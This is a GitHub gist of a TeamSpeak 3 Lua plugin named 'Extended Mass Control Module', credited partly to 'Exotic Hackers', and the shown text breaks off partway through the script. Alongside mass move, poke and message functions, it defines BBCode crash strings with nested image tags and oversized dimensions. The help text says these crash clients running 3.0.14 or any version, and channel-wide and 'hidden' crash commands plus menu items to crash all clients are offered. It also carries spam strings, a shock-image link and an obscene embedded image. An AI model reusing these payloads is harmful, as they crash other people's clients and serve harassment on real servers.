Created
May 31, 2015 17:10
-
-
Save Bluscream/501ca9d18f951b6371f4 to your computer and use it in GitHub Desktop.
Teamspeak TS 3 LUA Script - Extended Mass Control Module
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- | |
-- Testmodule callback functions | |
-- | |
-- To avoid function name collisions, you should use local functions and export them with a unique package name. | |
-- | |
local MenuIDs = { | |
MENU_ID_CHANNEL_1 = 1, | |
MENU_ID_GLOBAL_1 = 2 | |
} | |
-- Will store factor to add to menuID to calculate the real menuID used in the TeamSpeak client (to support menus from multiple Lua modules) | |
-- Add this value to above menuID when passing the ID to setPluginMenuEnabled. See demo.lua for an example. | |
local moduleMenuItemID = 0 | |
-- Called when a plugin menu item (see ts3plugin_initMenus) is triggered. Optional function, when not using plugin menus, do not implement this. | |
-- | |
-- Parameters: | |
-- serverConnectionHandlerID: ID of the current server tab | |
-- type: Type of the menu (ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_CHANNEL, ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_CLIENT or ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_GLOBAL) | |
-- menuItemID: Id used when creating the menu item | |
-- selectedItemID: Channel or Client ID in the case of PLUGIN_MENU_TYPE_CHANNEL and PLUGIN_MENU_TYPE_CLIENT. 0 for PLUGIN_MENU_TYPE_GLOBAL. | |
-- | |
local function onMenuItemEvent(serverConnectionHandlerID, menuType, menuItemID, selectedItemID) | |
print("Testmodule: onMenuItemEvent: " .. serverConnectionHandlerID .. " " .. menuType .. " " .. menuItemID .. " " .. selectedItemID) | |
end | |
testmodule_events = { | |
MenuIDs = MenuIDs, | |
moduleMenuItemID = moduleMenuItemID, | |
onMenuItemEvent = onMenuItemEvent | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- | |
-- Mass Control Module Init | |
-- Version: 1.0 | |
-- Author: Willy_Sunny | |
-- Website: http://www.ts3chinese.com | |
-- E-Mail: [email protected] | |
-- | |
require("ts3init") | |
require("masscontrolmodule/events") -- Forwarded TeamSpeak 3 callbacks | |
require("masscontrolmodule/masscontrol") | |
local function createMenus(moduleMenuItemID) | |
-- Store value added to menuIDs to be able to calculate menuIDs for this module again for setPluginMenuEnabled (see demo.lua) | |
moduleMenuItemID = moduleMenuItemID | |
-- Create the menus | |
-- There are three types of menu items: | |
-- ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_CLIENT: Client context menu | |
-- ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_CHANNEL: Channel context menu | |
-- ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_GLOBAL: "Plugins" menu in menu bar of main window | |
-- | |
-- Menu IDs are used to identify the menu item when onMenuItemEvent is called, see testmodule/events.lua for the implementation of onMenuItemEvent | |
-- Valid menu IDs are 0 to 999. | |
-- | |
-- The menu text is required, max length is 128 characters | |
-- | |
-- The icon is optional, max length is 128 characters. When not using icons, just pass an empty string. | |
-- Icons are loaded from a subdirectory in the TeamSpeak client plugins folder. The subdirectory must be named like the | |
-- plugin filename, without dll/so/dylib suffix | |
-- e.g. for "test_plugin.dll", icon "1.png" is loaded from <TeamSpeak 3 Client install dir>\plugins\test_plugin\1.png | |
-- In this example we reuse the existing icons from the plugins\test_plugin\ directory, which resides as "..\test_plugin" relative to | |
-- the lua_plugin directory. | |
return { | |
{ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_CHANNEL, ccrash, "Crash Channel", "../test_plugin/1.png"}, | |
{ts3defs.PluginMenuType.PLUGIN_MENU_TYPE_GLOBAL, mcrash, "Crash all Clients", "../test_plugin/1.png"}, | |
} | |
end | |
local registeredEvents = { | |
createMenus = createMenus, | |
onMenuItemEvent = onMenuItemEvent | |
} | |
ts3RegisterModule("masscontrolmodule", registeredEvents) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require("ts3defs") | |
require("ts3errors") | |
require("ts3events") | |
require("ts3autoload") | |
local SCRIPT = "Extended Mass Control Module" | |
local SCRIPTSHORT = "EMC" | |
local SCRIPT1 = "Mass Control Module" | |
local SCRIPT1SHORT = "MCM" | |
local SCRIPT2 = "Mass ExoticHackers Tools" | |
local SCRIPT2SHORT = "MEHT" | |
local VERSION = "1.1.1" | |
local AUTHOR = "Willy_Sunny, Exotic Hackers, B1uscr34m" | |
local EMAIL = "[email protected]" | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
-- Installation Instructions: | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
-- %ts3dir%: "c:\program files (x68)\teamspeak 3 client" OR "c:\program files\teamspeak 3 client" OR "C:\Users\YOUR USERNAME\AppData\Roaming\TS3Client" | |
-- a) If you want to use the full plugin: | |
-- a1) Download the plugin here: http://www.mediafire.com/download/ug7sjs6uary7mp6/emcm.ts3_addon | |
-- a2) Install the plugin | |
-- a3) Goto step c) | |
-- b) If you want to run this script seperatly: | |
-- b1) Save this script as "masscontrolmodule.lua" in your "%ts3dir%\plugins\lua_plugin" folder. | |
-- b2) In teamspeak, any window, where chat would be enter: "/lua load masscontrol.lua" -- Response will be: "Lua script loaded" | |
-- b3) Now go to step c) | |
-- c) In Teamspeak press [CTRL]+[SHIFT]+[P] or go to 'Settings -> Plugins' and check the 'Lua Plugin' Checkbox. | |
-- c1) Click on Reload all then mark 'Lua Plugin' and click on Settings. | |
-- c2) Uncheck 'testmodule' and restart Teamspeak 3 Client or click on 'Reload all' | |
-- d) Call everything in here named "function TEXTHERE" from the TeamSpeak 3 chat via: /lua run <function> | |
-- Note that the serverConnectionHandlerID of the current server is always passed. | |
-- | |
-- Settings | |
local EMC_DEBUG = true | |
local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' } | |
local RANDCOL = ( emcCol[ math.random( #emcCol ) ] ) | |
--local emcPrefix = "[color="Blue"]([/color][color="Green"]EMC[/color][color="Blue"])[/color] " | |
-- colrandomizer() | |
-- -----------------------------=LOGGING=------------------------------------- | |
if EMC_DEBUG == true then | |
-- local logMSG = ("loading..." --, SCRIPT , VERSION) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."]_-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-_[/color]") | |
ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT .."[/color] [color=white][[/color][color=orange]".. VERSION .."[/color][color=white]][/color] loading...") | |
-- Log(LogMSG) | |
end | |
-- ____________________________-=LOGGING=-____________________________________ | |
-- Variables | |
local FUNCTIONS = "Mass Moving, Mass Kicking, Mass Channel Kicking, Mass Banning, Mass Messaging, Mass Poking, Mass Crashing" | |
local HLPTXT = "Use [b][color=red]/lua run emc[/color][/b] to see a list of commands!" | |
-- Crash Texts | |
CrashMSG = "[img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img]" | |
multiCrashMSG = "[img][img]//1/z[/img][/img][img][img]//2/z[/img][/img][img][img]//3/z[/img][/img][img][img]//4/z[/img][/img][img][img]//5/z[/img][/img][img][img]//6/z[/img][/img][img][img]//7/z[/img][/img][img][img]//8/z[/img][/img][img][img]//9/z[/img][/img][img][img]//10/z[/img][/img][img][img]//11/z[/img][/img][img][img]//12/z[/img][/img][img][img]//13/z[/img][/img][img][img]//14/z[/img][/img][img][img]//15/z[/img][/img][img][img]//16/z[/img][/img][img][img]//17/z[/img][/img][img][img]//18/z[/img][/img][img][img]//19/z[/img][/img][img][img]//20/z[/img][/img][img][img]//21/z[/img][/img][img][img]//22/z[/img][/img][img][img]//23/z[/img][/img][img][img]//24/z[/img][/img][img][img]//25/z[/img][/img][img][img]//26/z[/img][/img][img][img]//27/z[/img][/img][img][img]//28/z[/img][/img][img][img]//29/z[/img][/img][img][img]//30/z[/img][/img][img][img]//31/z[/img][/img]" | |
hiddenCrashMSG = "[img][img] width=\"999999\" height=\"999999\"[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]" | |
pokeCrashMSG = "[img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img]" | |
-- Other Texts | |
clearChat = "[img][img] width=\"999999\" height=\"999999\"[/img][/img]" | |
clearChatLONG = "[img][img]\" width=\"99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999\" height=\"99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999[/img][/img]" | |
SpamMSG = "SPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAM" | |
ShockerMSG = "[url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:red;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:orange;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:yellow;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:green;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:blue;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:indigo;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:violet;[/img][/img][/url]" | |
TitleMSG = "[url=#][img][img]\" width=\"50\" height=\"50\" title=\"YES\" style=\"background-color:black;[/img][/img][/url]" | |
RainbowMSG = "[img][img]\" width=\"99999\" height=\"10\" style=\"background-color:red;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:orange;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:yellow;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:green;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:blue;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:indigo;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:violet;[/img][/img]" | |
GERFlagMSG = "[img][img]\" width=\"99999\" height=\"10\" style=\"background-color:black;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:red;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:gold;[/img][/img]" | |
IRISHFlagMSG = "[img][img]\" width=\"40\" height=\"99999\" style=\"background-color:green;[/img][/img][img][img]\" width=\"40\" height=\"0\" style=\"background-color:white;[/img][/img][img][img]\" width=\"40\" height=\"99999\" style=\"background-color:orange;[/img][/img]" | |
PenisMSG = "[img][img]data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAANAA0DASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAABwb/xAAkEAACAgEDAwUBAAAAAAAAAAABAgMEBQYRIhIUIQAHEyMxYv/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwCv9wcWclkdR3Tenhkwun47lMJHC/xyk2iXVpEZo2+pOUZRuI87quyh6E8zr2HSWe1hiJMDUyL1E7y/ZnYB78M0iBIG4nYRraVQWLjpiKhV6uKZofnovF2BxjtRd3FEPyvHKTIkK/zGrrGNgBsg2AHgB//Z[/img][/img]" | |
CarrotMSG = "[img][img]data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOwwAADsMBx2+oZAAAAPdJREFUOMuVU7GuwjAMvLTUKB1Q3tObWfjLTkVCWfhGkGBiQoGhqAZkhqqQlETti2RFcXxn+5yAmTFmeV2Kv/s2w8jS1kjqfKucysYIbpVTMV/vHyWIgf0qFDNHA4lIAICZ1bCNPru2RmYpsGyAfVOAiCSvy6QuWQrsTsDv9Y5dVeBZN1FdvkQkInnYEu708Q1JfFG1NfLWoAfnTRfoXFjZeVFgZe9g5mAqySkYM20qWSz7kOS8KJIE7ynk/AfgGFxya1Bq4Md2/QzLBwAFQKRefjyPI7jtUs+3aeBXBQBwEQXdmknAgOAiXZxZHyYDg6fsP9v//o0XqeGrV7rZKZIAAAAHdElNRQfcBhgLIgQfT5H8AAAAAElFTkSuQmCC[/img][/img]" | |
channelID = 0 | |
-- -----------------------------=LOGGING=------------------------------------- | |
if EMC_DEBUG == true then | |
-- local logMSG = ("loading..." --, SCRIPT , VERSION) | |
ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPTSHORT .."[/color] variables initialized.") | |
-- Log(LogMSG) | |
end | |
-- ____________________________-=LOGGING=-____________________________________ | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
--====================================================================================================================================================================== | |
-- Core Functions | |
--====================================================================================================================================================================== | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
clock = os.clock | |
function sleep(n) -- seconds | |
local t0 = clock() | |
while clock() - t0 <= n do end | |
end | |
function wsleep(n) | |
if n > 0 then os.execute("ping -n " .. tonumber(n+1) .. " localhost > NUL") end | |
end | |
function emc() | |
local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' } | |
local RANDCOL = ( emcCol[ math.random( #emcCol ) ] ) | |
ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT1 ..": [b]Commands[/b][/color][/u]") | |
ts3.printMessageToCurrentTab("Show the current channel ID that you are in: [color=red]/lua run getChannelID[/color]") | |
ts3.printMessageToCurrentTab("Mass Mover Script (within currently subscribed channel): [color=red]/lua run mm[/color]") | |
ts3.printMessageToCurrentTab("Mass Poke Script (within currently subscribed channel): [color=red]/lua run mp <message>[/color]") | |
ts3.printMessageToCurrentTab("Mass Messaging Script (within currently subscribed channel): [color=red]/lua run mmsg <message>[/color]") | |
ts3.printMessageToCurrentTab("Mass Message & Poke Script (within currently subscribed channel): [color=red]/lua run mmp <message>[/color]") | |
ts3.printMessageToCurrentTab("Global Mass Mover Script (subscribe all possible channels before moving): [color=red]/lua run gmm[/color]") | |
ts3.printMessageToCurrentTab("Global Mass Poke Script (subscribe all possible channels before acting): [color=red]/lua run gmp <message>[/color]") | |
ts3.printMessageToCurrentTab("Global Mass Message Script (subscribe all possible channels before acting): [color=red]/lua run gmmsg <message>[/color]") | |
ts3.printMessageToCurrentTab("Global Mass Message & Poke Script (subscribe all possible channels before acting): [color=red]/lua run gmmp <message>[/color]") | |
-- local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' } | |
-- local RANDCOL = ( emcCol[ math.random( #emcCol ) ] ) | |
ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT2 ..": [b]Commands[/b][/color][/u]") | |
ts3.printMessageToCurrentTab("Mass Kick Script: [color=red]/lua run mk <message>[/color]") | |
ts3.printMessageToCurrentTab("Mass Channel Kick Script: [color=red]/lua run mck <message>[/color]") | |
ts3.printMessageToCurrentTab("Mass Ban Script: [color=red]/lua run mb <duration> <message>[/color]") | |
-- local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' } | |
-- local RANDCOL = ( emcCol[ math.random( #emcCol ) ] ) | |
ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT ..": [b]Commands[/b][/color][/u]") | |
ts3.printMessageToCurrentTab("UID Search Script: [color=red]/lua run uid <uid>[/color]") | |
ts3.printMessageToCurrentTab("Name Search Script: [color=red]/lua run name <name>[/color]") | |
ts3.printMessageToCurrentTab("Self Kick Script: [color=red]/lua run selfkick[/color]") | |
ts3.printMessageToCurrentTab("Spam Script: [color=red]/lua run spam[/color]") | |
ts3.printMessageToCurrentTab(SCRIPTSHORT .." Spam Script: [color=red]/lua run emcspam[/color]") | |
ts3.printMessageToCurrentTab("PokeSpam Script: [color=red]/lua run emcpokespam <#ofPokes> <#ofSecsBetweenPokes> <clientID> <message>[/color]") | |
ts3.printMessageToCurrentTab("Mass Poke Script 2: [color=red]/lua run pokeall[/color]") | |
ts3.printMessageToCurrentTab("Channel Crash Script: [color=red]/lua run ccrash[/color]") | |
ts3.printMessageToCurrentTab("Global Multi Crash Script (Works with every version) (subscribe all possible channels before crashing): [color=red]/lua run mcrash[/color]") | |
ts3.printMessageToCurrentTab("Global Mass Hidden Crash Script (subscribe all possible channels before crashing): [color=red]/lua run mhcrash[/color]") | |
ts3.printMessageToCurrentTab("Show Text to crash clients running 3.0.14: [color=red]/lua run ctxt[/color]") | |
ts3.printMessageToCurrentTab("Show Text to hidden crash clients running 3.0.14: [color=red]/lua run hctxt[/color]") | |
ts3.printMessageToCurrentTab("Show Text to crash clients running [b]any[/b] Version: [color=red]/lua run mctxt[/color]") | |
ts3.printMessageToCurrentTab("Show Text to poke crash clients running 3.0.14: [color=red]/lua run pctxt[/color]") | |
end | |
function emchelp() | |
local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' } | |
local RANDCOL = ( emcCol[ math.random( #emcCol ) ] ) | |
ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT ..": [b]Help[/b][/color][/u]") | |
ts3.printMessageToCurrentTab("Show Text to crash clients running 3.0.14: [color=red]/lua run ctxt[/color]") | |
end | |
function emcinfo() | |
local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' } | |
local RANDCOL = ( emcCol[ math.random( #emcCol ) ] ) | |
ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT ..": [b]Info[/b][/color][/u]") | |
ts3.printMessageToCurrentTab("Show Text to crash clients running 3.0.14: [color=red]/lua run ctxt[/color]") | |
end | |
function Log() | |
ts3.printMessageToCurrentTab(logMSG) | |
-- ts3.logMessage(logMSG, severity, channel, logID) | |
-- debugPrint(logMSG) | |
end | |
function colrandomizer() | |
local myTable = { 'Green', 'Yellow', 'Red', 'Blue' } | |
local RANDCOL = ( myTable[ math.random( #myTable ) ] ) | |
end | |
function PrintTable( t, indent, done ) | |
done = done or {} | |
indent = indent or 0 | |
local output = "" | |
for key, value in pairs( t ) do | |
if type( value ) == "table" and not done[value] then | |
done [value] = true | |
output = output .. tostring ( key ) .. ":" .. PrintTable( value, indent + 2, done ) .. "\n" | |
else | |
output = output .. tostring ( key ) .. "\t=\t" .. type( value ) .. "\n" | |
end | |
end | |
return output | |
end | |
function getClientList(serverConnectionHandlerID) | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessage(serverConnectionHandlerID, "Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
return clients | |
end | |
function getOwnID(serverConnectionHandlerID) | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
return | |
elseif myClientID == 0 then | |
return | |
end | |
return myClientID | |
end | |
function getUserChannelID(serverConnectionHandlerID, userID) | |
local channelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, userID) | |
if error ~= ts3errors.ERROR_ok then | |
return 1 | |
end | |
return channelID | |
end | |
function getUsernameByID(serverConnectionHandlerID, userID) | |
local clientName, clientNameError = ts3.getClientVariableAsString(serverConnectionHandlerID, userID, ts3defs.ClientProperties.CLIENT_NICKNAME) | |
if clientNameError ~= ts3errors.ERROR_ok then | |
return "Unknown" | |
end | |
return clientName | |
end | |
-- Used to escape "'s by toCSV | |
function escapeCSV (s) | |
if string.find(s, '[,"]') then | |
s = '"' .. string.gsub(s, '"', '""') .. '"' | |
end | |
return s | |
end | |
-- Convert from CSV string to table (converts a single line of a CSV file) | |
function fromCSV (s) | |
s = s .. ',' -- ending comma | |
local t = {} -- table to collect fields | |
local fieldstart = 1 | |
repeat | |
-- next field is quoted? (start with `"'?) | |
if string.find(s, '^"', fieldstart) then | |
local a, c | |
local i = fieldstart | |
repeat | |
-- find closing quote | |
a, i, c = string.find(s, '"("?)', i+1) | |
until c ~= '"' -- quote not followed by quote? | |
if not i then error('unmatched "') end | |
local f = string.sub(s, fieldstart+1, i-1) | |
table.insert(t, (string.gsub(f, '""', '"'))) | |
fieldstart = string.find(s, ',', i) + 1 | |
else -- unquoted; find next comma | |
local nexti = string.find(s, ',', fieldstart) | |
table.insert(t, string.sub(s, fieldstart, nexti-1)) | |
fieldstart = nexti + 1 | |
end | |
until fieldstart > string.len(s) | |
return t | |
end | |
-- Convert from table to CSV string | |
function toCSV (tt) | |
local s = "" | |
-- ChM 23.02.2014: changed pairs to ipairs | |
-- assumption is that fromCSV and toCSV maintain data as ordered array | |
for _,p in ipairs(tt) do | |
s = s .. "," .. escapeCSV(p) | |
end | |
return string.sub(s, 2) -- remove first comma | |
end | |
local function isempty(s) | |
return s == nil or s == '' | |
end | |
local function urlencode(str) | |
if (str) then | |
str = string.gsub (str, "\n", "\r\n") | |
str = string.gsub (str, "([^%w ])", | |
function (c) return string.format ("%%%02X", string.byte(c)) end) | |
str = string.gsub (str, " ", "+") | |
end | |
return str | |
end | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
--====================================================================================================================================================================== | |
-- Mass Control Module Functions | |
--====================================================================================================================================================================== | |
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | |
-- | |
-- Show the current channel ID that you are in (/lua run getChannelID /lua run getMyChanID) | |
-- | |
function getChannelID(serverConnectionHandlerID) | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
ts3.printMessageToCurrentTab("Channel ID = [b][u]" .. myChannelID .. "[/u][/b]") | |
end | |
-- | |
-- Mass Mover Script (within currently subscribed channel) (/lua run mm) | |
-- | |
function mm(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
local password = "" | |
if type(arg[1]) ~= "nil" then | |
password = arg[1] | |
ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " visible clients (Using Password: " .. password .. " ) ==[/i][/b]") | |
else | |
ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " ==[/i][/b]") | |
end | |
local counter = 0 | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientMove(serverConnectionHandlerID, clients[i], myChannelID, password) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
clientName = "Error getting client name" | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully moved " .. counter .. " / " .. #clients - 1 .. " clients. ==[/i][/b]") | |
end | |
-- | |
-- Mass Poke Script (within currently subscribed channel) (/lua run mp <message>) | |
-- | |
function mp(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local argMsg = "" | |
for i,v in ipairs(arg) do | |
argMsg = argMsg .. tostring(v) .. " " | |
end | |
local counter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass poking " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error poking client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- | |
-- Mass Messaging Script (within currently subscribed channel) (/lua run mmsg <message>) | |
-- | |
function mmsg(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local argMsg = "" | |
for i,v in ipairs(arg) do | |
argMsg = argMsg .. tostring(v) .. " " | |
end | |
local counter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass messaging " .. #clients - 1 .. " visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i]) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error messaging client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully messaged " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]") | |
end | |
-- | |
-- Mass Message & Poke Script (within currently subscribed channel) (/lua run mmp <message>) | |
-- | |
function mmp(serverConnectionHandlerID, ...) | |
-- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
